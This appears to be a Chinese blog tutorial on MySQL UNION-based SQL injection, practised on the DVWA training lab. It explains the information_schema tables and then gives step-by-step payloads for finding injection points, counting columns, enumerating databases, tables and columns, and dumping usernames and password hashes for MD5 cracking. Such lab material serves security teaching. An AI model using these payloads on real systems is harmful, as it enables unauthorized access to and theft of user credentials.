sql注入——union联合查询注入

目录

一,sql注入必记的一库三表

二,union联合查询注入

1,基本注入流程

1,判断注入点

2,判断多少列

3,判断显示位

4,显示数据库的基本信息

5,显示有哪些数据库

6,显示数据库下有哪些表

7,判断表里有哪些字段

八,查询数据表中有哪些数据

一,sql注入必记的一库三表

Information_schema(数据库)MySQL中默认的数据库)

                SCHEMATA(表)存储了MySQL下每一个数据库的相关信息

                                schema_name(字段)数据库名

  TABLES(表)存储了MySQL下每一个表的相关信息

                        TABLE_NAME(字段)数据表名称

                        TABLE_SCHEMA(字段)该数据表属于哪一个数据库

COLUMNS(库)存储了MySQL下每一个数据表中的所有列名(字段名)

                      COLUMN_NAME(字段)字段名称

                      TABLE_NAME(字段)该字段属于哪一个数据表

                       TALBE_SCHEMA(字段)当前字段所属数据表所在的数据库名称

注意:这三张表在information_schema数据库下面,在SQL注入过程中不能直接指定表名,

要使用“数据库名.数据表名”的形式,例如:information_schema.tables

 

二,union联合查询注入

1,基本注入流程

1,判断注入点

判断常用:
    and   //and是在知道用户名或则id时使用
    or   //是在不知道的情况下使用
1,数字型注入点判断手法:
    1 and 1=1  //正常显示
    1 and 1=2  //空页面或则报错

2,字符型注入点判断手法:常见的字符包裹符有—— '' 或 "" 或 ()
    1' and 1=1 -- -  //正常显示
	1' and 1=2 -- -  //空页面
   
3,搜索型注入:判断手法
    xxx%' or 1=1 -- -   //正常显示
	xxx%' or 1=1 -- -   //页面空显示

2,判断多少列

判断语句:
    1' order by 1,2,3,N-- -
一直判断到报错

实列:DVWA

3,判断显示位

判断语句:
1' union select 1,2-- -
一直判断到报错

以DNWA为例:

一般显示位都是通过,有多少字段来判断的

        1' union select 1,2 -- -

在验证一下是不是只有两个显示位

在多加一列就报错了,那么就显示,只有两个显示位了

4,显示数据库的基本信息

基本语句:
1' union select 1,(select database())-- -   //database()显示当前使用的数据库

DVWA为例:

上面是注入语句,下面是数据库名

由于有两个显示位,所以可以显示两条基本信息

5,显示有哪些数据库

基本语句:
1' union select 1,(select group_concat(schema_name) from information_schema.schemata) -- -

以DVWA为例:

这就是我们查询到的库名了

6,显示数据库下有哪些表

基本语句:
1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'dvwa')-- -

以DVWA为例:

既然知道了库名,那么在根据库名查询表名

7,判断表里有哪些字段

基本语句:
1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'dvwa' and table_name = 'users')-- -

以DVWA为例

八,查询数据表中有哪些数据

基本语句:
1' union select 1,(select group_concat(concat_ws("~",user,password)) from dvwa.users)-- -

获取的是user和password

最后使用MD5解密

 

  • 2
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值